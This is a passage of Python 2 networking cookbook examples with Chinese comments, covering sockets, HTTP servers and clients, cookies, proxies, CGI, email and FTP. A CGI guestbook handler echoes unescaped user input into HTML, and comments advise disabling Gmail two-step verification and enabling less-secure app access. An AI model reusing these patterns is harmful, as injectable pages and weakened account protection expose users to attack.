run_unix_domain_socket_client() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/unix_domain_socket_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 Unix 域套接字执行进程间通信(服务端) 4 | 5 | import socket 6 | import os 7 | import time 8 | 9 | SERVER_PATH = "/tmp/python_unix_socket_server" 10 | 11 | def run_unix_domain_socket_server(): 12 | if os.path.exists(SERVER_PATH): 13 | os.remove(SERVER_PATH) 14 | 15 | print "Starting unix domain socket server" 16 | 17 | server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) # TCP 18 | server.bind(SERVER_PATH) 19 | server.listen(5) # TCP 20 | 21 | print "Listening on path: %s" % SERVER_PATH 22 | while True: 23 | conn, addr = server.accept() # TCP 24 | datagram = conn.recv(1024) # TCP 25 | if not datagram: 26 | break 27 | else: 28 | print "-" * 20 29 | print datagram 30 | conn.sendall(datagram) # TCP 31 | if "DONE" == datagram: 32 | break 33 | print "-" * 20 34 | print "Server is shutting down now..." 35 | server.close() 36 | os.remove(SERVER_PATH) 37 | print "Server shutdown and path removed" 38 | 39 | if __name__ == '__main__': 40 | run_unix_domain_socket_server() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 3/wait_for_remote_service.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 等待远程网络服务上线 4 | 5 | import argparse 6 | import socket 7 | import errno 8 | from time import time as now 9 | 10 | DEFAULT_TIMEOUT = 120 11 | DEFAULT_SERVER_HOST = '192.168.1.111' 12 | DEFAULT_SERVER_PORT = 88 13 | 14 | class NetServiceChecker(object): 15 | """Wait for a network service to come online""" 16 | def __init__(self, host, port, timeout=DEFAULT_TIMEOUT): 17 | self.host = host 18 | self.port = port 19 | self.timeout = timeout 20 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | 22 | def end_wait(self): 23 | self.sock.close() 24 | 25 | def check(self): 26 | """Check the service""" 27 | if self.timeout: 28 | end_time = now() + self.timeout 29 | 30 | while True: 31 | try: 32 | if self.timeout: 33 | next_timeout = end_time - now() 34 | if next_timeout < 0: 35 | return False 36 | else: 37 | print "setting socket next timeout %ss" % round(next_timeout) 38 | self.sock.settimeout(next_timeout) 39 | self.sock.connect((self.host, self.port)) 40 | # handle exceptions 41 | except socket.timeout, err: 42 | if self.timeout: 43 | return False 44 | except socket.error, err: 45 | print "Exception: %s" % err 46 | else: # if all goes well 47 | self.end_wait() 48 | return True 49 | 50 | if __name__ == '__main__': 51 | parser = argparse.ArgumentParser(description='Wait For Network Service') 52 | parser.add_argument('--host', action='store', dest='host', default=DEFAULT_SERVER_HOST) 53 | parser.add_argument('--port', action='store', dest='port', type=int, default=DEFAULT_SERVER_PORT) 54 | parser.add_argument('--timeout', action='store', dest='timeout', type=int, default=DEFAULT_TIMEOUT) 55 | given_args = parser.parse_args() 56 | host, port, timeout = given_args.host, given_args.port, given_args.timeout 57 | service_checker = NetServiceChecker(host, port, timeout=timeout) 58 | print "Checking for network service %s:%s ..." % (host, port) 59 | if service_checker.check(): 60 | print "Service is available again!" -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/checking_webpage_with_head_request.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 HEAD 请求检查网页是否存在 4 | 5 | import argparse 6 | import httplib 7 | import urlparse 8 | import re 9 | import urllib 10 | 11 | DEFAULT_URL = 'http://www.python.org' 12 | HTTP_GOOD_CODES = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY] 13 | 14 | def get_server_status_code(url): 15 | """Download just the header of a URL and return the server's status code""" 16 | print urlparse.urlparse(url) 17 | host, path = urlparse.urlparse(url)[1:3] 18 | print host, path 19 | try: 20 | conn = httplib.HTTPConnection(host) 21 | conn.request('HEAD', path) 22 | return conn.getresponse().status 23 | except StandardError, err: 24 | print err 25 | return None 26 | 27 | if __name__ == '__main__': 28 | parser = argparse.ArgumentParser(description='Example HEAD Request') 29 | parser.add_argument('--url', action="store", dest="url", default=DEFAULT_URL) 30 | given_args = parser.parse_args() 31 | url = given_args.url 32 | if get_server_status_code(url) in HTTP_GOOD_CODES: 33 | print "Server: %s status is OK." % url 34 | else: 35 | print "Server: %s status is NOT OK." % url -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/download_data.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 从 HTTP 服务器下载数据 4 | 5 | import argparse 6 | import httplib 7 | 8 | REMOTE_SERVER_HOST = 'www.baidu.com' 9 | REMOTE_SERVER_PATH = '/' 10 | 11 | class HTTPClient: 12 | def __init__(self, host): 13 | self.host = host 14 | 15 | def fetch(self, path): 16 | http = httplib.HTTP(self.host) 17 | # Prepare header 18 | http.putrequest("GET", path) 19 | http.putheader("User-Agent", __file__) 20 | http.putheader("Host", self.host) 21 | http.putheader("Accept", "*/*") 22 | http.endheaders() 23 | 24 | try: 25 | errcode, errmsg, headers = http.getreply() 26 | except Exception, e: 27 | print "Client failed error code: %s message: %s headers: %s" % (errcode, errmsg, headers) 28 | else: 29 | print "Got homepage from %s" % self.host 30 | 31 | file = http.getfile() 32 | return file.read() 33 | 34 | if __name__ == '__main__': 35 | parser = argparse.ArgumentParser(description='HTTP Client Example') 36 | parser.add_argument('--host', action="store", dest="host", default=REMOTE_SERVER_HOST) 37 | parser.add_argument('--path', action="store", dest="path", default=REMOTE_SERVER_PATH) 38 | given_args = parser.parse_args() 39 | host, path = given_args.host, given_args.path 40 | client = HTTPClient(host) 41 | print client.fetch(path) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/extract_cookie_information.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 访问网站后提取 cookie 信息 4 | 5 | import cookielib 6 | import urllib 7 | import urllib2 8 | 9 | ID_USERNAME = 'username' 10 | ID_PASSWORD = 'password' 11 | USERNAME = '' 12 | PASSWORD = '' 13 | LOGIN_URL = 'https://bitbucket.org/account/signin/?next=/' 14 | NORMAL_URL = 'https://bitbucket.org/' 15 | 16 | def extract_cookie_info(): 17 | """Fake login to a site with cookie""" 18 | # Setup cookie jar 19 | cj = cookielib.CookieJar() 20 | 21 | # Create url opener 22 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 23 | opener.open(LOGIN_URL) 24 | 25 | try: 26 | token = [cookie.value for cookie in cj if cookie.name == 'csrftoken'][0] 27 | except IndexError: 28 | return False, "No csrftoken" 29 | 30 | login_data = urllib.urlencode({'csrfmiddlewaretoken': token, ID_USERNAME: USERNAME, ID_PASSWORD: PASSWORD, 'this_is_the_login_form': True}) 31 | 32 | resp = opener.open(LOGIN_URL, login_data) 33 | 34 | # Send login info 35 | for cookie in cj: 36 | print '----First time cookie: %s --> %s' % (cookie.name, cookie.value) 37 | 38 | print "Headers: %s" % resp.headers 39 | 40 | # Now access without any login info 41 | resp = opener.open(NORMAL_URL) 42 | for cookie in cj: 43 | print "++++Second time cookie: %s --> %s" % (cookie.name, cookie.value) 44 | 45 | print "Headers: %s" % resp.headers 46 | 47 | if __name__ == '__main__': 48 | extract_cookie_info() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/http_compression.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 HTTP 压缩节省 Web 请求消耗的带宽 4 | 5 | import argparse 6 | import string 7 | import os 8 | import sys 9 | import gzip 10 | import cStringIO 11 | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 12 | 13 | DEFAULT_HOST = '127.0.0.1' 14 | DEFAULT_PORT = 8800 15 | HTML_CONTENT = """

Compressed Hello World!

""" 16 | 17 | class RequestHandler(BaseHTTPRequestHandler): 18 | """Custom request handler""" 19 | def do_GET(self): 20 | """Handler for the GET requests""" 21 | self.send_response(200) 22 | self.send_header('Content-type', 'text/html') 23 | self.send_header('Content-Encoding', 'gzip') 24 | zbuf = self.compress_buffer(HTML_CONTENT) 25 | sys.stdout.write("Content-Encoding: gzip\r\n") 26 | self.send_header('Content-Length', len(zbuf)) 27 | self.end_headers() 28 | 29 | # Send the message to browser 30 | zbuf = self.compress_buffer(HTML_CONTENT) 31 | sys.stdout.write("Content-Encoding: gzip\r\n") 32 | sys.stdout.write("Content-Length: %d\r\n" % (len(zbuf))) 33 | sys.stdout.write("\r\n") 34 | self.wfile.write(zbuf) 35 | return 36 | 37 | def compress_buffer(self, buf): 38 | zbuf = cStringIO.StringIO() 39 | zfile = gzip.GzipFile(mode='wb', fileobj=zbuf, compresslevel=6) 40 | zfile.write(buf) 41 | zfile.close() 42 | return zbuf.getvalue() 43 | 44 | if __name__ == '__main__': 45 | parser = argparse.ArgumentParser(description='Simple HTTP Server Example') 46 | parser.add_argument('--port', action="store", dest="port", type=int, default=DEFAULT_PORT) 47 | given_args = parser.parse_args() 48 | port = given_args.port 49 | server_address = (DEFAULT_HOST, port) 50 | server = HTTPServer(server_address, RequestHandler) 51 | server.serve_forever() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/http_fail_over_client.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 编写一个支持断点续传功能的 HTTP 容错客户端 4 | 5 | import urllib 6 | import os 7 | 8 | TARGET_URL = 'http://www.embeddedsystem.org/crosstool/5.2.0/' 9 | TARGET_FILE = 'crosstool-5.2.0.tar.bz2' 10 | 11 | class CustomURLOpener(urllib.FancyURLopener): 12 | """Override FancyURLopener to skip error 206 (when a partial file is being sent)""" 13 | def http_error_206(self, url, fp, errcode, errmsg, headers, data=None): 14 | pass 15 | 16 | def resume_download(): 17 | file_exists = False 18 | CustomURLClass = CustomURLOpener() 19 | if os.path.exists(TARGET_FILE): 20 | out_file = open(TARGET_FILE, 'ab') 21 | file_exists = os.path.getsize(TARGET_FILE) 22 | # If the file exists, then only download the unfinished part 23 | CustomURLClass.addheader("range", "bytes=%s-" % (file_exists)) 24 | else: 25 | out_file = open(TARGET_FILE, 'wb') 26 | 27 | web_page = CustomURLClass.open(TARGET_URL + TARGET_FILE) 28 | 29 | # Check if last download was OK 30 | if int(web_page.headers['Content-Length']) == file_exists: 31 | loop = 0 32 | print "File already downloaded!" 33 | 34 | byte_count = 0 35 | while True: 36 | data = web_page.read(8192) 37 | if not data: 38 | break 39 | out_file.write(data) 40 | byte_count = byte_count + len(data) 41 | 42 | web_page.close() 43 | out_file.close() 44 | 45 | for k, v in web_page.headers.items(): 46 | print k, '=', v 47 | print "File copied", byte_count, "bytes from", web_page.url 48 | 49 | if __name__ == '__main__': 50 | resume_download() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/https_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 Python 和 OpenSSL 编写一个简单的 HTTPS 服务器 4 | 5 | import socket 6 | import os 7 | import sys 8 | from SocketServer import BaseServer 9 | from BaseHTTPServer import HTTPServer 10 | from SimpleHTTPServer import SimpleHTTPRequestHandler 11 | from OpenSSL import SSL, crypto 12 | from random import random 13 | 14 | TARGET_URL = 'http://www.python.org/ftp/python/2.7.4/' 15 | TARGET_FILE = 'Python-2.7.4.tgz' 16 | 17 | class SecureHTTPServer(HTTPServer): 18 | def __init__(self, server_address, HandlerClass): 19 | BaseServer.__init__(self, server_address, HandlerClass) 20 | 21 | ctx = SSL.Context(SSL.SSLv23_METHOD) 22 | 23 | # Location of the server private key and the server certificate 24 | # 生成两个证书 25 | # openssl req -x509 -newkey rsa:2048 -keyout pkey.pem -out cert.pem -days 365 26 | # ctx.use_privatekey_file('pkey.pem') 27 | # ctx.use_certificate_file('cert.pem') 28 | 29 | # 生成一个证书 30 | # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes 31 | fpem = 'server.pem' 32 | ctx.use_privatekey_file(fpem) 33 | ctx.use_certificate_file(fpem) 34 | 35 | self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type)) 36 | self.server_bind() 37 | self.server_activate() 38 | 39 | def shutdown_request(self, request): 40 | request.shutdown() 41 | 42 | class SecureHTTPRequestHandler(SimpleHTTPRequestHandler): 43 | def setup(self): 44 | self.connection = self.request 45 | self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) 46 | self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) 47 | 48 | def do_GET(self): 49 | """Handler for the GET requests""" 50 | self.send_response(200) 51 | self.send_header('Content-type', 'text/html') 52 | self.end_headers() 53 | # Send the message to browser 54 | self.wfile.write("Hello from https server!") 55 | return 56 | 57 | def run_server(HandlerClass=SecureHTTPRequestHandler, ServerClass=SecureHTTPServer): 58 | server_address = ('', 4443) # port needs to be accessible by user 59 | server = ServerClass(server_address, HandlerClass) 60 | running_address = server.socket.getsockname() 61 | print "Serving HTTPS Server on %s:%s ..." % (running_address[0], running_address[1]) 62 | server.serve_forever() 63 | 64 | if __name__ == '__main__': 65 | run_server() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/proxy_web_request.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 通过代理服务器发送 Web 请求 4 | 5 | import urllib 6 | 7 | URL = 'https://www.github.com' 8 | PROXY_ADDRESS = '1.164.144.107:8080' # Get from http://www.xicidaili.com/ 9 | 10 | if __name__ == '__main__': 11 | resp = urllib.urlopen(URL, proxies = {"http": PROXY_ADDRESS}) 12 | print "Proxy server returns response headers: %s" % resp.headers -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/simple_http_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 在你的设备中伺服 HTTP 请求 4 | 5 | import argparse 6 | import sys 7 | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 8 | 9 | DEFAULT_HOST = '127.0.0.1' 10 | DEFAULT_PORT = 8800 11 | 12 | class RequestHandler(BaseHTTPRequestHandler): 13 | """Custom request handler""" 14 | def do_GET(self): 15 | """Handler for the GET requests""" 16 | self.send_response(200) 17 | self.send_header('Content-type', 'text/html') 18 | self.end_headers() 19 | # Send the message to browser 20 | self.wfile.write("Hello from server!") 21 | return 22 | 23 | class CustomHTTPServer(HTTPServer): 24 | """A custom HTTP server""" 25 | def __init__(self, host, port): 26 | server_address = (host, port) 27 | HTTPServer.__init__(self, server_address, RequestHandler) 28 | 29 | def run_server(port): 30 | try: 31 | server = CustomHTTPServer(DEFAULT_HOST, port) 32 | print "Custom HTTP server started on port: %s" % port 33 | server.serve_forever() 34 | except Exception, err: 35 | print "Error: %s" % err 36 | except KeyboardInterrupt: 37 | print "Server interrupted and is shutting down..." 38 | server.socket.close() 39 | 40 | if __name__ == '__main__': 41 | parser = argparse.ArgumentParser(description='Simple HTTP Server Example') 42 | parser.add_argument('--port', action="store", dest="port", type=int, default=DEFAULT_PORT) 43 | given_args = parser.parse_args() 44 | port = given_args.port 45 | run_server(port) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/spoof_mozilla_firefox_in_client_code.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 把客户端伪装成 Mozilla Firefox 4 | 5 | import urllib2 6 | 7 | BROWSER = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0' 8 | URL = 'http://www.python.org' 9 | 10 | def spoof_firefox(): 11 | opener = urllib2.build_opener() 12 | opener.addheaders = [('User-agent', BROWSER)] 13 | result = opener.open(URL) 14 | print "Response headers:" 15 | for header in result.headers.headers: 16 | print "\t", header 17 | 18 | if __name__ == '__main__': 19 | spoof_firefox() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 4/submit_web_form.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 提交网页表单 4 | 5 | import requests 6 | import urllib 7 | import urllib2 8 | from lxml import html 9 | 10 | ID_NAME = 'name' 11 | ID_EMAIL = 'email' 12 | ID_PASSWORD = 'password' 13 | ID_CONFIRM = 'confirm' 14 | ID_GPG_KEYID = 'gpg_keyid' 15 | NAME = 'fortestzz3' 16 | EMAIL = 'fortestzz3@163.com' 17 | PASSWORD = 'fortestzz3fortestzz3' 18 | CONFIRM = 'fortestzz3fortestzz3' 19 | GPG_KEYID = '' 20 | 21 | SIGNUP_URL = 'https://pypi.python.org/pypi' 22 | 23 | def submit_form(): 24 | """Submit a form""" 25 | payload = { 26 | ID_NAME: NAME, 27 | ID_EMAIL: EMAIL, 28 | ID_PASSWORD: PASSWORD, 29 | ID_CONFIRM: CONFIRM, 30 | ID_GPG_KEYID: GPG_KEYID, 31 | ':action': 'user' 32 | } 33 | 34 | # Make a GET request 35 | resp = requests.get(SIGNUP_URL) 36 | print "Response to GET request: %s" % resp.content 37 | 38 | # Send POST request 39 | resp = requests.post(SIGNUP_URL, payload) 40 | print resp.status_code 41 | print "Headers from a POST request response: %s" % resp.headers 42 | # print "HTML Response: %s" % resp.text 43 | 44 | def submit_form_prefect(): 45 | ses = requests.session() 46 | r = ses.get(SIGNUP_URL) 47 | cookies = r.cookies 48 | 49 | # 可以采用如下方式获取 token(如果 post 需要 token) 50 | # tree = html.fromstring(resp.text) 51 | # token = list(set(tree.xpath("//input[@name='token']/@value")))[0] 52 | 53 | payload = { 54 | ID_NAME: NAME, 55 | ID_EMAIL: EMAIL, 56 | ID_PASSWORD: PASSWORD, 57 | ID_CONFIRM: CONFIRM, 58 | ID_GPG_KEYID: GPG_KEYID, 59 | ':action': 'user' 60 | } 61 | 62 | headers = { 63 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 64 | 'Accept-Encoding': 'gzip, deflate', 65 | 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 66 | 'Content-Length': '127', 67 | 'Content-Type': 'application/x-www-form-urlencoded', 68 | 'Connection': 'keep-alive', 69 | 'Host': 'pypi.python.org', 70 | 'Referer': 'https://pypi.python.org/pypi?:action=register_form', 71 | 'Upgrade-Insecure-Requests': '1', 72 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0' 73 | } 74 | 75 | # Send POST request 76 | resp = ses.post(SIGNUP_URL, data=payload, headers=headers, cookies=cookies) 77 | print resp.status_code 78 | print "Headers from a POST request response: %s" % resp.headers 79 | 80 | if __name__ == '__main__': 81 | submit_form() -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/cgi-bin/get_feedback.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 CGI 为基于 Python 的 Web 服务器编写一个留言板(处理程序) 4 | 5 | # Import modules for CGI handling 6 | import cgi 7 | import cgitb 8 | 9 | # Create instance of FieldStorage 10 | form = cgi.FieldStorage() 11 | 12 | # Get data from fields 13 | name = form.getvalue('Name') 14 | comment = form.getvalue('Comment') 15 | 16 | print "Content-type:text/html\r\n\r\n" 17 | print "" 18 | print "" 19 | print "CGI Program Example " 20 | print "" 21 | print "" 22 | print "

%s sends a comment: %s

" % (name, comment) 23 | print "" 24 | print "" -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/cgi_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用 CGI 为基于 Python 的 Web 服务器编写一个留言板(服务器) 4 | 5 | import os 6 | import cgi 7 | import argparse 8 | import BaseHTTPServer 9 | import CGIHTTPServer 10 | import cgitb 11 | 12 | cgitb.enable() # Enable CGI error reporting 13 | 14 | def web_server(port): 15 | server = BaseHTTPServer.HTTPServer 16 | handler = CGIHTTPServer.CGIHTTPRequestHandler # RequestsHandler 17 | server_address = ("", port) 18 | handler.cgi_directories = ["/cgi-bin", ] 19 | httpd = server(server_address, handler) 20 | print "Starting web server with CGI support on port: %s ..." % port 21 | httpd.serve_forever() 22 | 23 | if __name__ == '__main__': 24 | parser = argparse.ArgumentParser(description='CGI Server Example') 25 | parser.add_argument('--port', action="store", dest="port", type=int, required=True) 26 | given_args = parser.parse_args() 27 | web_server(given_args.port) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/check_remote_email_via_imap.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 通过 POP3 协议下载谷歌电子邮件 4 | 5 | import argparse 6 | import getpass 7 | import imaplib 8 | 9 | # Gmail 需要关闭两步验证 https://myaccount.google.com/security/signinoptions/two-step-verification 10 | # Gmail 需要运行低安全的应用访问 https://www.google.com/settings/security/lesssecureapps 11 | # 163 需要允许其他客户端连接 http://config.mail.163.com/settings/imap/index.jsp?uid=YOUR_EMAIL_ADDRESS 12 | 13 | GOOGLE_IMAP_SERVER = 'imap.gmail.com' # imap.163.com 14 | 15 | def check_email(username): 16 | mailbox = imaplib.IMAP4_SSL(GOOGLE_IMAP_SERVER, '993') 17 | password = getpass.getpass(prompt="Enter your Google password: ") 18 | mailbox.login(username, password) 19 | # print mailbox.list() 20 | mailbox.select('Inbox') 21 | typ, data = mailbox.search(None, 'ALL') 22 | for num in data[0].split(): 23 | typ, data = mailbox.fetch(num, '(RFC822)') 24 | print 'Message %s\n%s\n' % (num, data[0][1]) 25 | break 26 | mailbox.close() 27 | mailbox.logout() 28 | 29 | if __name__ == '__main__': 30 | parser = argparse.ArgumentParser(description='Email Download Example') 31 | parser.add_argument('--username', action="store", dest="username", default=getpass.getuser()) 32 | given_args = parser.parse_args() 33 | username = given_args.username 34 | check_email(username) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/download_google_email_via_pop3.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 通过 POP3 协议下载谷歌电子邮件 4 | 5 | import argparse 6 | import getpass 7 | import poplib 8 | 9 | GOOGLE_POP3_SERVER = 'pop.gmail.com' # pop.163.com 10 | 11 | def download_email(username): 12 | mailbox = poplib.POP3_SSL(GOOGLE_POP3_SERVER, '995') 13 | mailbox.user(username) 14 | password = getpass.getpass(prompt="Enter you Google password: ") 15 | mailbox.pass_(password) 16 | num_messages = len(mailbox.list()[1]) 17 | print "Total emails: %s" % num_messages 18 | print "Getting last message" 19 | for msg in mailbox.retr(num_messages)[1]: 20 | print msg 21 | mailbox.quit() 22 | 23 | if __name__ == '__main__': 24 | parser = argparse.ArgumentParser(description='Email Download Example') 25 | parser.add_argument('--username', action="store", dest="username", default=getpass.getuser()) 26 | given_args = parser.parse_args() 27 | username = given_args.username 28 | download_email(username) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/email_current_dir_zipped.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 把当前工作目录中的内容压缩成 ZIP 文件后通过电子邮件发送 4 | 5 | import os 6 | import argparse 7 | import smtplib 8 | import zipfile 9 | import tempfile 10 | from email import encoders 11 | from email.mime.base import MIMEBase 12 | from email.mime.multipart import MIMEMultipart 13 | 14 | def email_dir_zipped(sender, recipient): 15 | zf = tempfile.TemporaryFile(dir='/tmp', prefix='mail', suffix='.zip') 16 | zip = zipfile.ZipFile(zf, 'w') 17 | print "Zipping current dir: %s" % os.getcwd() 18 | for file_name in os.listdir(os.getcwd()): 19 | zip.write(file_name) 20 | zip.close() 21 | zf.seek(0) 22 | 23 | # Create the message 24 | print "Creating email message..." 25 | email_msg = MIMEMultipart() 26 | email_msg['Subject'] = 'File from path %s' % os.getcwd() 27 | email_msg['To'] = recipient 28 | email_msg['From'] = sender 29 | email_msg.preamble = 'Testing email from Python.\n' 30 | msg = MIMEBase('application', 'zip') 31 | msg.set_payload(zf.read()) 32 | encoders.encode_base64(msg) 33 | msg.add_header('Content-Disposition', 'attachment', filename='mail.zip') 34 | email_msg.attach(msg) 35 | email_msg = email_msg.as_string() 36 | 37 | # Send the message 38 | print "Sending email message..." 39 | try: 40 | smtp = smtplib.SMTP('localhost') 41 | # smtp.set_debuglevel(1) 42 | smtp.sendmail(sender, recipient, email_msg) 43 | print "Sent successed" 44 | except Exception, e: 45 | print "Error: %s" % str(e) 46 | finally: 47 | smtp.close() 48 | 49 | if __name__ == '__main__': 50 | parser = argparse.ArgumentParser(description='Email Example') 51 | parser.add_argument('--sender', action="store", dest="sender", default='melody@pandora.com') 52 | parser.add_argument('--recipient', action="store", dest="recipient") 53 | given_args = parser.parse_args() 54 | email_dir_zipped(given_args.sender, given_args.recipient) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/list_files_on_ftp_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 列出 FTP 远程服务器中的文件 4 | 5 | import ftplib 6 | 7 | FTP_SERVER_URL = 'localhost' 8 | 9 | def test_ftp_connection(path, username, email): 10 | # Open ftp connection 11 | ftp = ftplib.FTP(path, username, email) 12 | 13 | # List the files in the /pub directiory 14 | ftp.cwd("/pub") 15 | print "File list at %s:" % path 16 | files = ftp.dir() 17 | print files 18 | ftp.quit() 19 | 20 | if __name__ == '__main__': 21 | test_ftp_connection(path=FTP_SERVER_URL, username='anonymous', email='nobody@nourl.com') -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/send_email_from_gmail.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 通过 Gmail 的 SMTP 服务器发送带有附件的电子邮件 4 | 5 | import argparse 6 | import os 7 | import getpass 8 | import re 9 | import sys 10 | import smtplib 11 | from email.mime.image import MIMEImage 12 | from email.mime.multipart import MIMEMultipart 13 | from email.mime.text import MIMEText 14 | 15 | SMTP_SERVER = 'smtp.gmail.com' 16 | SMTP_PORT = 587 17 | 18 | def send_email(sender, recipient): 19 | """ Send email message """ 20 | msg = MIMEMultipart() 21 | msg['Subject'] = 'Python Emaill Test' 22 | msg['To'] = recipient 23 | msg['From'] = sender 24 | subject = 'Python email Test' 25 | message = 'Images attached.' 26 | # Attach imgae files 27 | files = os.listdir(os.getcwd()) 28 | gifsearch = re.compile(".gif", re.IGNORECASE) 29 | files = filter(gifsearch.search, files) 30 | for filename in files: 31 | path = os.path.join(os.getcwd(), filename) 32 | if not os.path.isfile(path): 33 | continue 34 | img = MIMEImage(open(path, 'rb').read(), _subtype="gif") 35 | img.add_header('Content-Disposition', 'attachment', filename=filename) 36 | msg.attach(img) 37 | 38 | part = MIMEText('text', "plain") 39 | part.set_payload(message) 40 | msg.attach(part) 41 | 42 | # Create smtp session 43 | session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT) 44 | session.ehlo() 45 | session.starttls() 46 | session.ehlo 47 | password = getpass.getpass(prompt="Enter your Google password: ") 48 | session.login(sender, password) 49 | session.sendmail(sender, recipient, msg.as_string()) 50 | print "Email sent." 51 | session.quit() 52 | 53 | if __name__ == '__main__': 54 | parser = argparse.ArgumentParser(description='Email Sending Example') 55 | parser.add_argument('--sender', action="store", dest="sender") 56 | parser.add_argument('--recipient', action="store", dest="recipient") 57 | given_args = parser.parse_args() 58 | send_email(given_args.sender, given_args.recipient) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/send_feedback.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | Name:
5 | Comment: 6 | 7 |
8 | 9 | -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 5/upload_file_to_ftp_server.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 把本地文件上传到远程 FTP 服务器中 4 | 5 | import os 6 | import argparse 7 | import getpass 8 | import ftplib 9 | 10 | LOCAL_FTP_SERVER = 'localhost' 11 | LOCAL_FILE = 'readme.txt' 12 | FTP_USER = 'zengqiu' # getpass.getuser() 13 | 14 | def ftp_upload(ftp_server, username, password, file_name): 15 | print "Connecting to FTP server: %s" % ftp_server 16 | ftp = ftplib.FTP(ftp_server) 17 | print "Login to FTP server: user=%s" % username 18 | ftp.login(username, password) 19 | ext = os.path.splitext(file_name)[1] 20 | if ext in (".txt", ".htm", ".html"): 21 | ftp.storlines("STOR " + file_name, open(file_name)) 22 | else: 23 | ftp.storbinary("STOR " + file_name, open(file_name, "rb"), 1024) 24 | print "Uploaded file: %s" % file_name 25 | 26 | if __name__ == '__main__': 27 | parser = argparse.ArgumentParser(description='FTP Server Upload Example') 28 | parser.add_argument('--ftp-server', action="store", dest="ftp_server", default=LOCAL_FTP_SERVER) 29 | parser.add_argument('--file-name', action="store", dest="file_name", default=LOCAL_FILE) 30 | parser.add_argument('--username', action="store", dest="username", default=FTP_USER) 31 | given_args = parser.parse_args() 32 | ftp_server, file_name, username = given_args.ftp_server, given_args.file_name, given_args.username 33 | password = getpass.getpass(prompt="Enter you FTP password: ") 34 | ftp_upload(ftp_server, username, password, file_name) -------------------------------------------------------------------------------- /Python Network Programming Cookbook/Chapter 6/geo_coding_by_google_maps.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 使用谷歌地图 URL 搜索地理坐标 4 | 5 | import argparse 6 | import os 7 | import urllib 8 | import xml.etree.ElementTree as ET 9 | from xml.dom import minidom 10 | 11 | # https://developers.google.com/maps/documentation/geocoding/get-api-key 12 | GOOGLE_MAPS_API_KEY = 'YOUR_GOOGLE_MAPS_API_KEY' 13 | 14 | def find_lat_long(city): 15 | """Find geographic coordinates""" 16 | # Encode query string into Google maps URL 17 | 18 | url = 'https://maps.googleapis.com/maps/api/geocode/xml?address=' + city + '&key=' + GOOGLE_MAPS_API_KEY 19 | print 'Query: %s' % (url) 20 